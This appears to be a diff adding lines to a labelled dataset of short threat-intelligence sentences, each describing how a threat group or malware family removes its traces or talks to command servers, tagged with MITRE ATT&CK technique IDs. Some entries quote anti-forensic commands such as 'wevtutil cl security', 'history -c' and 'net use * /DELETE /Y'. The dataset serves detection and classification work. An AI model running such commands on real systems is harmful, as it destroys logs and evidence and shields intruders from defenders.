+Pillowmint can uninstall the malicious service from an infected machine.	['T1070', 'T1070.009']
+RTM has the ability to remove Registry entries that it created during execution.	['T1070']
+Rising Sun can clear a memory blog in the process by overwriting it with junk bytes.	['T1070']
+S-Type has deleted accounts it has created.	['T1070']
+SDBbot has the ability to clean up and remove data structures from a compromised host.	['T1070']
+SILENTTRINITY can remove artifacts from the compromised host, including created Registry keys.	['T1070']
+ShadowPad has deleted arbitrary Registry values.	['T1070']
+Sibot will delete an associated registry key if a certain server response is received.	['T1070']
+"UNC2452 removed evidence of email export requests using ""Remove-MailboxExportRequest"". They temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file."	['T1070']
+njRAT is capable of manipulating and deleting registry keys.	['T1070']
+"APT28 has cleared event logs, including by using the commands ""wevtutil cl System"" and ""wevtutil cl Security""."	['T1070.001']
+APT32 has cleared select event log entries.	['T1070.001']
+APT38 clears Window Event logs and Sysmon logs from the system.	['T1070.001']
+APT41 attempted to remove evidence of some of its activity by clearing Windows security and system events.	['T1070.001']
+Dragonfly 2.0 cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys.	['T1070.001']
+Dragonfly has cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys.	['T1070.001']
+During Operation Wocao, the threat actors deleted all Windows system and security event logs using `/Q /c wevtutil cl system` and `/Q /c wevtutil cl security`.	['T1070.001']
+FIN5 has cleared event logs from victims.	['T1070.001']
+FIN8 has cleared logs during post compromise cleanup activities.	['T1070.001']
+"FinFisher clears the system event logs using "" OpenEventLog/ClearEventLog APIs ""."	['T1070.001']
+HermeticWizard has the ability to use `wevtutil cl system` to clear event logs.	['T1070.001']
+Hydraq creates a backdoor through which remote attackers can clear all system event logs.	['T1070.001']
+Indrik Spider has used Cobalt Strike to empty log files.	['T1070.001']
+KillDisk deletes Application, Security, Setup, and System Windows Event Logs.	['T1070.001']
+Lucifer can clear and remove event logs.	['T1070.001']
+Meteor can use Wevtutil to remove Security, System and Application Event Viewer logs.	['T1070.001']
+"NotPetya uses ""wevtutil"" to clear the Windows event logs."	['T1070.001']
+"Olympic Destroyer will attempt to clear the System and Security event logs using ""wevtutil""."	['T1070.001']
+Operation Wocao has deleted Windows Event Logs to hinder forensic investigation.	['T1070.001']
+Pupy has a module to clear event logs with PowerShell.	['T1070.001']
+RunningRAT contains code to clear event logs.	['T1070.001']
+The BlackEnergy component KillDisk is capable of deleting Windows Event Logs.	['T1070.001']
+ZxShell has a command to clear system event logs.	['T1070.001']
+MacMa can clear possible malware traces such as application logs.	['T1070.002']
+"Proton removes logs from ""/var/logs"" and ""/Library/logs""."	['T1070.002']
+"TeamTNT has removed system logs from ""/var/log/syslog""."	['T1070.002']
+APT41 attempted to remove evidence of some of its activity by deleting Bash histories.	['T1070.003']
+Hildegard has used history -c to clear script shell logs.	['T1070.003']
+Kobalos can remove all command history on compromised hosts.	['T1070.003']
+Lazarus Group has routinely deleted log files on a compromised router, including automatic log deletion through the use of the logrotate utility.	['T1070.003']
+Magic Hound has removed mailbox export requests from compromised Exchange servers.	['T1070.003']
+"TeamTNT has cleared command history with ""history -c""."	['T1070.003']
+A menuPass macro deletes files after it has decoded and decompressed them.	['T1070.004']
+ADVSTORESHELL can delete files and directories.	['T1070.004']
+APT18 actors deleted tools and batch files from victim systems.	['T1070.004']
+APT28 has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner.	['T1070.004']
+APT29 routinely removed their tools, including custom backdoors, once remote access was achieved. APT29 has also used SDelete to remove artifacts from victims.	['T1070.004']
+APT3 has a tool that can delete files.	['T1070.004']
+APT32's macOS backdoor can receive a “delete” command.	['T1070.004']
+APT38 has used a utility called CLOSESHAVE that can securely delete a file from the system. They have also removed malware, tools, or other non-native files used during the intrusion to reduce their footprint or as part of the post-intrusion cleanup process.	['T1070.004']
+APT39 has used malware to delete files after they are deployed on a compromised host.	['T1070.004']
+After encrypting its own log files, the log encryption module in Prikormka deletes the original, unencrypted files from the host.	['T1070.004']
+Anchor can self delete its dropper after the malware is successfully deployed.	['T1070.004']
+AppleJeus has deleted the MSI file after installation.	['T1070.004']
+Aquatic Panda has deleted malicious executables from compromised machines.	['T1070.004']
+Aria-body has the ability to delete files and directories on compromised hosts.	['T1070.004']
+AuditCred can delete files from the system.	['T1070.004']
+Azorult can delete files from victim machines.	['T1070.004']
+BBSRAT can delete files and directories.	['T1070.004']
+BLINDINGCAN has deleted itself and associated artifacts from victim machines.	['T1070.004']
+BLUELIGHT can uninstall itself.	['T1070.004']
+BabyShark has cleaned up all files associated with the secondary payload execution.	['T1070.004']
+Backdoor.Oldrea contains a cleanup module that removes traces of itself from the victim.	['T1070.004']
+Bandook has a command to delete a file.	['T1070.004']
+Bankshot marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.	['T1070.004']
+Bumblebee can uninstall its loader through the use of a `Sdl` command.	['T1070.004']
+CARROTBAT has the ability to delete downloaded files from a compromised host.	['T1070.004']
+CSPY Downloader has the ability to self delete.	['T1070.004']
+"Calisto has the capability to use ""rm -rf"" to remove folders and files from the victim's machine."	['T1070.004']
+Cardinal RAT can uninstall itself, including deleting its executable.	['T1070.004']
+CharmPower can delete created files from a compromised system.	['T1070.004']
+Chimera has performed file deletion to evade detection.	['T1070.004']
+Crimson has the ability to delete files from a compromised host.	['T1070.004']
+"Cuba can use the command ""cmd.exe /c del"" to delete its artifacts from the system."	['T1070.004']
+DanBot can delete its configuration file after installation.	['T1070.004']
+DarkWatchman has been observed deleting its original launcher after installation.	['T1070.004']
+Dragonfly 2.0 deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots.	['T1070.004']
+Dragonfly has deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots.	['T1070.004']
+Drovorub can delete specific files from a compromised host.	['T1070.004']
+Dtrack can remove its persistence and delete itself.	['T1070.004']
+During Operation Honeybee, the threat actors used batch files that reduced their fingerprint on a compromised system by deleting malware-related files.	['T1070.004']
+During Operation Wocao, the threat actors consistently removed traces of their activity by first overwriting a file using `/c cd /d c:\windows\temp\ & copy \\<IP ADDRESS>\c$\windows\system32\devmgr.dll \\<IP ADDRESS>\c$\windows\temp\LMAKSW.ps1 /y` and then deleting the overwritten file using `/c cd /d c:\windows\temp\ & del \\<IP ADDRESS>\c$\windows\temp\LMAKSW.ps1`.	['T1070.004']
+DustySky can delete files it creates from the infected system.	['T1070.004']
+"ECCENTRICBANDWAGON can delete log files generated from the malware stored at ""C:\windows\temp\tmp0207""."	['T1070.004']
+EvilBunny has deleted the initial dropper after running through the environment checks.	['T1070.004']
+Evilnum has deleted files used during infection.	['T1070.004']
+Exaramel for Linux can uninstall its persistence mechanism and delete its configuration file.	['T1070.004']
+FELIXROOT deletes the .LNK file from the startup directory as well as the dropper components.	['T1070.004']
+FIN10 has used batch scripts and scheduled tasks to delete critical system files.	['T1070.004']
+FIN5 uses SDelete to clean up the environment and attempt to prevent detection.	['T1070.004']
+FIN6 has removed files from victim machines.	['T1070.004']
+FIN8 has deleted tmp and prefetch files during post compromise cleanup activities.	['T1070.004']
+FatDuke can secure delete its DLL.	['T1070.004']
+Ferocious can delete files from a compromised host.	['T1070.004']
+FlawedAmmyy can execute batch scripts to delete files.	['T1070.004']
+FruitFly will delete files on the system.	['T1070.004']
+Fysbis has the ability to delete files.	['T1070.004']
+Gamaredon Group tools can delete files used during an operation.	['T1070.004']
+Gazer has commands to delete files and persistence mechanisms from the victim.	['T1070.004']
+Gelsemium can delete its dropper component from the targeted system.	['T1070.004']
+Gold Dragon deletes one of its files, 2.hwp, from the endpoint after establishing persistence.	['T1070.004']
+Green Lambert can delete the original executable after initial installation in addition to unused functions.	['T1070.004']
+GreyEnergy can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API.	['T1070.004']
+GrimAgent can delete old binaries on a compromised host.	['T1070.004']
+HALFBAKED can delete a specified file.	['T1070.004']
+HAWKBALL has the ability to delete files.	['T1070.004']
+"Hancitor has deleted files using the VBA ""kill"" function."	['T1070.004']
+HermeticWiper has the ability to overwrite its own file with random bites.	['T1070.004']
+Hi-Zor deletes its RAT installer file as it executes its DLL payload file.	['T1070.004']
+Hildegard has deleted scripts after execution.	['T1070.004']
+HotCroissant has the ability to clean up installed files, delete files, and delete itself from the victim’s machine.	['T1070.004']
+Hydraq creates a backdoor through which remote attackers can delete files.	['T1070.004']
+HyperBro has the ability to delete a specified file.	['T1070.004']
+IceApple can delete files and directories from targeted systems.	['T1070.004']
+Imminent Monitor has deleted files related to its dynamic debugger feature.	['T1070.004']
+InnaputRAT has a command to delete files.	['T1070.004']
+InvisiMole has deleted files and directories including XML and files successfully uploaded to C2 servers.	['T1070.004']
+Ixeshe has a command to delete a file from the machine.	['T1070.004']
+JPIN's installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.	['T1070.004']
+KONNI can delete files.	['T1070.004']
+Kevin can delete files created on the victim's machine.	['T1070.004']
+KillDisk has the ability to quit and delete itself.	['T1070.004']
+Kimsuky has deleted the exfiltrated data on disk after transmission. Kimsuky has also used an instrumentor script to terminate browser processes running on an infected system and then delete the cookie files on disk.	['T1070.004']
+LightNeuron has a function to delete files.	['T1070.004']
+Linfo creates a backdoor through which remote attackers can delete files.	['T1070.004']
+LiteDuke can securely delete files by first writing random data to the file.	['T1070.004']
+LockerGoga has been observed deleting its original launcher after execution.	['T1070.004']
+LookBack removes itself after execution and can delete files on the system.	['T1070.004']
+MURKYTOP has the capability to delete local files.	['T1070.004']
+MacMa can delete itself from the compromised computer.	['T1070.004']
+MacSpy deletes any temporary files it creates	['T1070.004']
+Metamorfo has deleted itself from the system after execution.	['T1070.004']
+Meteor will delete the folder containing malicious scripts if it detects the hostname as `PIS-APP`, `PIS-MOB`, `WSUSPROXY`, or `PIS-DB`.	['T1070.004']
+Milan can delete files via `C:\Windows\system32\cmd.exe /c ping 1.1.1.1 -n 1 -w 3000 > Nul & rmdir /s /q`.	['T1070.004']
+Misdat is capable of deleting the backdoor file.	['T1070.004']
+MoonWind can delete itself or specified files.	['T1070.004']
+Mosquito deletes files using DeleteFileW API call.	['T1070.004']
+Mustang Panda will delete their tools and files, and kill processes after their objectives are reached.	['T1070.004']
+NOKKI can delete files to cover tracks.	['T1070.004']
+Nebulae has the ability to delete files and directories.	['T1070.004']
+OSX_OCEANLOTUS.D has a command to delete a file from the system. OSX_OCEANLOTUS.D deletes the app bundle and dropper after execution.	['T1070.004']
+OceanSalt can delete files from the system.	['T1070.004']
+OilRig has deleted files associated with their payload after execution.	['T1070.004']
+Okrum's backdoor deletes files after they have been successfully uploaded to C2 servers.	['T1070.004']
+Once a file is uploaded, Machete will delete it from the machine.	['T1070.004']
+OutSteel can delete itself following the successful execution of a follow-on payload.	['T1070.004']
+P.A.S. Webshell can delete scripts from a subdirectory of /tmp after they are run.	['T1070.004']
+PLEAD has the ability to delete files on the compromised host.	['T1070.004']
+PUNCHBUGGY can delete files written to disk.	['T1070.004']
+Pasam creates a backdoor through which remote attackers can delete files.	['T1070.004']
+Pay2Key can remove its log file from disk.	['T1070.004']
+PcShare has deleted its files and components from a compromised host.	['T1070.004']
+Penquin can delete downloaded executables after running them.	['T1070.004']
+PoetRAT has the ability to overwrite scripts and delete itself if a sandbox environment is detected.	['T1070.004']
+Pony has used scripts to delete itself after execution.	['T1070.004']
+ProLock can remove files containing its payload after they are executed.	['T1070.004']
+Pteranodon can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.	['T1070.004']
+PyDCrypt will remove all created artifacts such as dropped executables.	['T1070.004']
+Pysa has deleted batch files after execution.	['T1070.004']
+QUADAGENT has a command to delete its Registry key and scheduled task.	['T1070.004']
+QakBot can delete folders and files including overwriting its executable with legitimate programs.	['T1070.004']
+RCSession can remove files from a targeted system.	['T1070.004']
+RDAT can issue SOAP requests to delete already processed C2 emails. RDAT can also delete itself from the infected system.	['T1070.004']
+RDFSNIFFER has the capability of deleting local files.	['T1070.004']
+REvil can mark its binary code for deletion after reboot.	['T1070.004']
+ROKRAT can request to delete files.	['T1070.004']
+RTM can delete all files created during its execution.	['T1070.004']
+RainyDay has the ability to uninstall itself by deleting its service and files.	['T1070.004']
+Reaver deletes the original dropped file from the victim.	['T1070.004']
+Recent versions of Cherry Picker delete files and registry keys created by the malware.	['T1070.004']
+RedLeaves can delete specified files.	['T1070.004']
+Rising Sun can delete files and artifacts it creates.	['T1070.004']
+Rocke has deleted files on infected machines.	['T1070.004']
+RunningRAT contains code to delete files from the victim’s machine.	['T1070.004']
+S-Type has deleted files it has created on a compromised host.	['T1070.004']
+SDBbot has the ability to delete files from a compromised host.	['T1070.004']
+SILENTTRINITY can remove files from the compromised host.	['T1070.004']
+SLOTHFULMEDIA has deleted itself and the 'index.dat' file on a compromised machine to remove recent Internet history from the system.	['T1070.004']
+SQLRat has used been observed deleting scripts once used.	['T1070.004']
+Saint Bot can run a batch script named `del.bat` to remove any Saint Bot payload-linked files from a compromise system if anti-analysis or locale checks fail.	['T1070.004']
+SamSam has been seen deleting its own files and payloads to make analysis of the attack more difficult.	['T1070.004']
+Sandworm Team has used backdoors that can delete files used in an attack from an infected system.	['T1070.004']
+SeaDuke can securely delete files, including deleting itself from the victim.	['T1070.004']
+Seasalt has a command to delete a specified file.	['T1070.004']
+ServHelper has a module to delete itself from the infected machine.	['T1070.004']
+Shark can delete files downloaded to the compromised host.	['T1070.004']
+ShimRat can uninstall itself from compromised hosts, as well create and modify directories, delete, move, copy, and rename files.	['T1070.004']
+Silence has deleted artifacts, including scheduled tasks, communicates files from the C2 and other logs.	['T1070.004']
+"SombRAT has the ability to run ""cancel"" or ""closeanddeletestorage"" to remove all files from storage and delete the storage temp file on a compromised host."	['T1070.004']
+Some Sakula samples use cmd.exe to delete temporary files.	['T1070.004']
+SpeakUp deletes files to remove evidence on the machine.	['T1070.004']
+StoneDrill has been observed deleting the temporary files once they fulfill their task.	['T1070.004']
+StrifeWater can self delete to cover its tracks.	['T1070.004']
+Stuxnet uses an RPC server that contains a routine for file deletion and also removes itself from the system through a DLL export by deleting specific files.	['T1070.004']
+SysUpdate can delete its configuration file from the targeted system.	['T1070.004']
+TAINTEDSCRIBE can delete files from a compromised host.	['T1070.004']
+TDTESS creates then deletes log files during installation of itself as a service.	['T1070.004']
+TEMP.Veles routinely deleted tools, logs, and other files after they were finished with them.	['T1070.004']
+"Taidoor can use ""DeleteFileA"" to remove files from infected hosts."	['T1070.004']
+TeamTNT has used a payload that removes itself after running. TeamTNT also has deleted locally staged files for collecting credentials or scan results for local IP addresses after exfiltrating them.	['T1070.004']
+"The BRONZE BUTLER uploader or malware the uploader uses ""command"" to delete the RAR archives after they have been exfiltrated."	['T1070.004']
+The JHUHUGIT dropper can delete itself from the victim. Another JHUHUGIT variant has the capability to delete specified files.	['T1070.004']
+The Komplex trojan supports file deletion.	['T1070.004']
+Threat Group-3390 has deleted existing logs and exfiltrated file archives from a victim.	['T1070.004']
+Trojan.Karagany has used plugins with a self-delete capability.	['T1070.004']
+Tropic Trooper has deleted dropper files on an infected system using command scripts.	['T1070.004']
+UNC2452 routinely removed their tools, including custom backdoors, once remote access was achieved.	['T1070.004']
+Ursnif has deleted data staged in tmp files after exfiltration.	['T1070.004']
+"VBShower has attempted to complicate forensic analysis by deleting all the files contained in ""%APPDATA%\..\Local\Temporary Internet Files\Content.Word"" and ""%APPDATA%\..\Local Settings\Temporary Internet Files\Content.Word\""."	['T1070.004']
+VERMIN can delete files on the victim’s machine.	['T1070.004']
+Volgmer can delete files and itself after infection to avoid analysis.	['T1070.004']
+Wingbird deletes its payload along with the payload's parent process after it finishes copying files.	['T1070.004']
+Winnti for Windows can delete the DLLs for its various components from a compromised host.	['T1070.004']
+Wizard Spider has used file deletion to remove some modules and configurations from an infected host after use.	['T1070.004']
+XAgentOSX contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.	['T1070.004']
+Zebrocy has a command to delete files and directories.	['T1070.004']
+Zeus Panda has a command to delete a file. It also can uninstall scripts and delete files to cover its track.	['T1070.004']
+ZxShell can delete files from the system.	['T1070.004']
+ccf32 can delete files and folders from compromised machines.	['T1070.004']
+cmd can be used to delete files from the file system.	['T1070.004']
+gh0st RAT has the capability to to delete files.	['T1070.004']
+pngdowner deletes content from C2 communications that was saved to the user's temporary directory.	['T1070.004']
+zwShell has deleted itself after creating a service as well as deleted a temporary file when the system reboots.	['T1070.004']
+InvisiMole can disconnect previously connected remote drives.	['T1070.005']
+"RobbinHood disconnects all network shares from the computer with the command ""net use * /DELETE /Y""."	['T1070.005']
+"The ""net use \\system\share /delete"" command can be used in Net to remove an established connection to a network share."	['T1070.005']
+Threat Group-3390 has detached network shares after exfiltrating files, likely to evade detection.	['T1070.005']
+3PARA RAT has a command to set certain attributes such as creation/modification timestamps on files.	['T1070.006']
+APT29 modified timestamps of backdoors to match legitimate Windows files.	['T1070.006']
+APT32 has used scheduled task raw XML with a backdated timestamp of June 2, 2016. The group has also set the creation time of the files dropped by the second stage of the exploit to match the creation time of kernel32.dll. Additionally, APT32 has used a random value to modify the timestamp of the file storing the clientID.	['T1070.006']
+APT38 has modified data timestamps to mimic files that are in the same folder on a compromised host.	['T1070.006']
+After creating a new service for persistence, TDTESS sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.	['T1070.006']
+Attor has manipulated the time of last access to files and registry keys after they have been created or modified.	['T1070.006']
+BLINDINGCAN has modified file and directory timestamps.	['T1070.006']
+Bankshot modifies the time of a file as specified by the control server.	['T1070.006']
+BitPaymer can modify the timestamp of an executable so that it can be identified and restored by the decryption tool.	['T1070.006']
+China Chopper's server component can change the timestamp of files.	['T1070.006']
+Cobalt Strike can timestomp any files or payloads placed on a target machine to help them blend in.	['T1070.006']
+Cobalt Strike will timestomp any files or payloads placed on a target machine to help them blend in.	['T1070.006']
+Cyclops Blink has the ability to use the Linux API function `utime` to change the timestamps of modified firmware update images.	['T1070.006']
+EVILNUM has changed the creation date of files.	['T1070.006']
+Elise performs timestomping of a CAB file it creates.	['T1070.006']
+Empire can timestomp any files or payloads placed on a target machine to help them blend in.	['T1070.006']
+FALLCHILL can modify file or directory timestamps.	['T1070.006']
+For early Gazer versions, the compilation timestamp was faked.	['T1070.006']
+Gelsemium has the ability to perform timestomping of files on targeted systems.	['T1070.006']
+InvisiMole samples were timestomped by the authors by setting the PE timestamps to all zero values. InvisiMole also has a built-in command to modify file times.	['T1070.006']
+Kimsuky has manipulated timestamps for creation or compilation dates to defeat anti-forensics.	['T1070.006']
+"Kobalos can modify timestamps of replaced files, such as ""ssh"" with the added credential stealer or ""sshd"" used to deploy Kobalos."	['T1070.006']
+MacMa has the capability to create and modify file timestamps.	['T1070.006']
+Many Misdat samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.	['T1070.006']
+"OSX_OCEANLOTUS.D can use the ""touch -t"" command to change timestamps."	['T1070.006']
+OwaAuth has a command to timestop a file or directory.	['T1070.006']
+POSHSPY modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.	['T1070.006']
+PowerStallion modifies the MAC times of its local log files to match that of the victim's desktop.ini file.	['T1070.006']
+Psylo has a command to conduct timestomping by setting a specified file’s timestamps to match those of a system file in the System32 directory.	['T1070.006']
+Rocke has changed the time stamp of certain files.	['T1070.006']
+SEASHARPEE can timestomp files on victims using a Web shell.	['T1070.006']
+Several Lazarus Group malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files.	['T1070.006']
+Stuxnet extracts and writes driver files that match the times of other legitimate files.	['T1070.006']
+TAINTEDSCRIBE can change the timestamp of specified filenames.	['T1070.006']
+TEMP.Veles used timestomping to modify the $STANDARD_INFORMATION attribute on tools.	['T1070.006']
+The Derusbi malware supports timestomping.	['T1070.006']
+UNC2452 modified timestamps of backdoors to match legitimate Windows files.	['T1070.006']
+Winnti for Windows can set the timestamps for its worker and service components to match that of cmd.exe.	['T1070.006']
+"APT29 removed evidence of email export requests using ""Remove-MailboxExportRequest""."	['T1070.008']
+MCMD has the ability to remove set Registry Keys, including those used for persistence.	['T1070.009']
+RTM has the ability to remove Registry entries that it created for persistence.	['T1070.009']
+SUNBURST removed IFEO registry values to clean up traces of persistence.	['T1070.009']
+njRAT is capable of manipulating and deleting registry keys, including those used for persistence.	['T1070.009']
+APT34 malware often uses HTTP and DNS for C2. The group has also used the Plink utility and other tools to create tunnels to C2 servers.	['T1071']
+Adversaries can also use NETEAGLE to establish an RDP connection with a controller over TCP/7519.	['T1071']
+Cobalt Strike conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.	['T1071']
+Dragonfly has used SMB for C2.	['T1071']
+Duqu uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.	['T1071', 'T1572']
+Exaramel uses HTTPS for C2 communications.	['T1071']
+Lucifer can use the Stratum protocol on port 10001 for communication between the cryptojacking bot and the mining server.	['T1071']
+Magic Hound malware has used IRC for C2.	['T1071']
+Siloscape connects to an IRC server for C2.	['T1071']
+The Regin malware platform supports many standard protocols, including SMB.	['T1071']
+4H RAT uses HTTP for command and control.	['T1071.001']
+A SUGARDUMP variant has used HTTP for C2.	['T1071.001']
+ABK has the ability to use HTTP in communications with C2.	['T1071.001']
+ADVSTORESHELL connects to port 80 of a C2 server using Wininet API. Data is exchanged via HTTP POSTs.	['T1071.001']
+APT12 has used RIPTIDE, a RAT that uses HTTP to communicate.	['T1071.001']
+APT19 used HTTP for C2 communications. APT19 also used an HTTP malware variant to communicate over HTTP for C2.	['T1071.001']
+APT29 has used HTTP for C2 and data exfiltration.	['T1071.001']
+APT32 has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks. The group has also used downloaded encrypted payloads over HTTP.	['T1071.001']
+APT33 has used HTTP for command and control.	['T1071.001']
+APT37 uses HTTPS to conceal C2 communications.	['T1071.001']
+APT38 used a backdoor, QUICKRIDE, to communicate to the C2 server over HTTP and HTTPS.	['T1071.001']
+APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits.	['T1071.001']
+Action RAT can use HTTP to communicate with C2 servers.	['T1071.001']
+Agent Tesla has used HTTP for C2 communications.	['T1071.001']
+Amadey has used HTTP for C2 communications.	['T1071.001']
+Anchor has used HTTP and HTTPS in C2 communications.	['T1071.001']
+"AppleJeus has sent data to its C2 server via ""POST"" requests."	['T1071.001']
+AppleSeed has the ability to communicate with C2 over HTTP.	['T1071.001']
+AuTo Stealer can use HTTP to communicate with its C2 servers.	['T1071.001']
+Avenger has the ability to use HTTP in communication with C2.	['T1071.001']
+BACKSPACE uses HTTP as a transport to communicate with its command server.	['T1071.001']
+BADNEWS establishes a backdoor over HTTP.	['T1071.001']
+BBSRAT uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.	['T1071.001']
+BLINDINGCAN has used HTTPS over port 443 for command and control.	['T1071.001']
+BRONZE BUTLER malware has used HTTP for C2.	['T1071.001']
+BUBBLEWRAP can communicate using HTTP or HTTPS.	['T1071.001']
+BackConfig has the ability to use HTTPS for C2 communiations.	['T1071.001']
+BadPatch uses HTTP for C2.	['T1071.001']
+Bazar can use HTTP and HTTPS over ports 80 and 443 in C2 communications.	['T1071.001']
+Bisonal has used HTTP for C2 communications.	['T1071.001']
+BlackEnergy communicates with its C2 server over HTTP.	['T1071.001']
+BlackMould can send commands to C2 in the body of HTTP POST requests.	['T1071.001']
+BoomBox has used HTTP POST requests for C2.	['T1071.001']
+Bundlore uses HTTP requests for C2.	['T1071.001']
+CORESHELL can communicate over HTTP for C2.	['T1071.001']
+CSPY Downloader can use GET requests to download additional payloads from C2.	['T1071.001']
+Carberp has connected to C2 servers via HTTP.	['T1071.001']
+Carbon can use HTTP in C2 communications.	['T1071.001']
+ChChes communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header.	['T1071.001']
+Chaes has used HTTP for C2 communications.	['T1071.001']
+Chimera has used HTTPS for C2 communications.	['T1071.001']
+Clambling has the ability to communicate over HTTP.	['T1071.001']
+Cobalt Group has used HTTPS for C2.	['T1071.001']
+Cobalt Strike can use a custom command and control protocol that can be encapsulated in HTTP or HTTPS. All protocols use their standard assigned ports.	['T1071.001']
+CosmicDuke can use HTTP or HTTPS for command and control to hard-coded C2 servers.	['T1071.001']
+CozyCar's main method of communicating with its C2 servers is using HTTP or HTTPS.	['T1071.001']
+CreepyDrive can use HTTPS for C2 using the Microsoft Graph API.	['T1071.001']
+CreepySnail can use HTTP for C2.	['T1071.001']
+Crutch has conducted C2 communications with a Dropbox account using the HTTP API.	['T1071.001']
+Cyclops Blink can download files via HTTP and HTTPS.	['T1071.001']
+DRATzarus can use HTTP or HTTPS for C2 communications.	['T1071.001']
+Dacls can use HTTPS in C2 communications.	['T1071.001']
+DanBot can use HTTP in C2 communication.	['T1071.001']
+Dark Caracal's version of Bandook communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string “&&&”.	['T1071.001']
+DarkWatchman uses HTTPS for command and control.	['T1071.001']
+Daserf uses HTTP for C2.	['T1071.001']
+DealersChoice uses HTTP for communication with the C2 server.	['T1071.001']
+Diavol has used HTTP GET and POST requests for C2.	['T1071.001']
+Dipsind uses HTTP for C2.	['T1071.001']
+Doki has communicated with C2 over HTTPS.	['T1071.001']
+Donut can use HTTP to download previously staged shellcode payloads.	['T1071.001']
+DownPaper communicates to its C2 server over HTTP.	['T1071.001']
+Drovorub can use the WebSocket protocol and has initiated communication with C2 servers with an HTTP Upgrade request.	['T1071.001']
+During Frankenstein, the threat actors used HTTP GET requests for C2.	['T1071.001']
+During Night Dragon, threat actors used HTTP for C2.	['T1071.001']
+During Operation CuckooBees, the threat actors enabled HTTP and HTTPS listeners.	['T1071.001']
+DustySky has used both HTTP and HTTPS for C2.	['T1071.001']
+Dyre uses HTTPS for C2 communications.	['T1071.001']
+ELMER uses HTTP for command and control.	['T1071.001']
+Egregor has communicated with its C2 servers via HTTPS protocol.	['T1071.001']
+Emissary uses HTTP or HTTPS for C2.	['T1071.001']
+EvilBunny has executed C2 commands directly via HTTP.	['T1071.001']
+Exaramel for Linux uses HTTPS for C2 communications.	['T1071.001']
+FELIXROOT uses HTTP and HTTPS to communicate with the C2 server.	['T1071.001']
+FIN4 has used HTTP POST requests to transmit data.	['T1071.001']
+FIN8 has used HTTPS for command and control.	['T1071.001']
+FatDuke can be controlled via a custom C2 protocol over HTTP.	['T1071.001']
+Felismus uses HTTP for C2.	['T1071.001']
+Final1stspy uses HTTP for C2.	['T1071.001']
+Flagpro can communicate with its C2 using HTTP.	['T1071.001']
+Gamaredon Group has used HTTP and HTTPS for C2 communications.	['T1071.001']
+Gazer communicates with its C2 servers over HTTP.	['T1071.001']
+Gelsemium can use HTTP/S in C2 communications.	['T1071.001']
+GeminiDuke uses HTTP and HTTPS for command and control.	['T1071.001']
+Get2 has the ability to use HTTP to send information collected from an infected host to C2.	['T1071.001']
+Gold Dragon uses HTTP for communication to the control servers.	['T1071.001']
+GoldFinder has used HTTP for C2.	['T1071.001']
+GoldMax has used HTTPS and HTTP GET requests with custom HTTP cookies for C2.	['T1071.001']
+GoldenSpy has used the Ryeol HTTP Client to facilitate HTTP internet communication.	['T1071.001']
+Goopy has the ability to communicate with its C2 over HTTP.	['T1071.001']
+Grandoreiro has the ability to use HTTP in C2 communications.	['T1071.001']
+GravityRAT uses HTTP for C2.	['T1071.001']
+GreyEnergy uses HTTP and HTTPS for C2 communications.	['T1071.001']
+HAFNIUM has used open-source C2 frameworks, including Covenant.	['T1071.001']
+HTTPBrowser has used HTTP and HTTPS for command and control.	['T1071.001']
+Helminth can use HTTP for C2.	['T1071.001']
+Hikit has used HTTP for C2.	['T1071.001']
+HyperBro has used HTTPS for C2 communications.	['T1071.001']
+IceApple can use HTTP GET to request and pull information from C2.	['T1071.001']
+IcedID has used HTTPS in communications with C2.	['T1071.001']
+Inception has used HTTP, HTTPS, and WebDav in network communications.	['T1071.001']
+InvisiMole uses HTTP for C2 communications.	['T1071.001']
+Ixeshe uses HTTP for command and control.	['T1071.001']
+JHUHUGIT variants have communicated with C2 servers over HTTP and HTTPS.	['T1071.001']
+KONNI has used HTTP POST for C2.	['T1071.001']
+Ke3chang malware including RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2.	['T1071.001']
+Keydnap uses HTTPS for command and control.	['T1071.001']
+Kinsing has communicated with C2 over HTTP.	['T1071.001']
+Koadic has used HTTP for C2 communications.	['T1071.001']
+LOWBALL command and control occurs via HTTPS over port 443.	['T1071.001']
+Lazarus Group has conducted C2 over HTTP and HTTPS.	['T1071.001']
+LiteDuke can use HTTP GET requests in C2 communications.	['T1071.001']
+Lokibot has used HTTP for C2 communications.	['T1071.001']
+LookBack’s C2 proxy tool sends data to a C2 server over HTTP.	['T1071.001']
+MCMD can use HTTPS in communication with C2 web servers.	['T1071.001']
+MacSpy uses HTTP for command and control.	['T1071.001']
+Machete malware used Python’s urllib library to make HTTP requests to the C2 server.	['T1071.001']
+Machete uses HTTP for Command & Control.	['T1071.001']
+Magic Hound malware has used HTTP for C2.	['T1071.001']
+Maze has communicated to hard-coded IP addresses via HTTP.	['T1071.001']
+MechaFlounder has the ability to use HTTP in communication with C2.	['T1071.001']
+Metamorfo has used HTTP for C2.	['T1071.001']
+Micropsia uses HTTP and HTTPS for C2 network communications.	['T1071.001']
+Milan can use HTTPS for communication with C2.	['T1071.001']
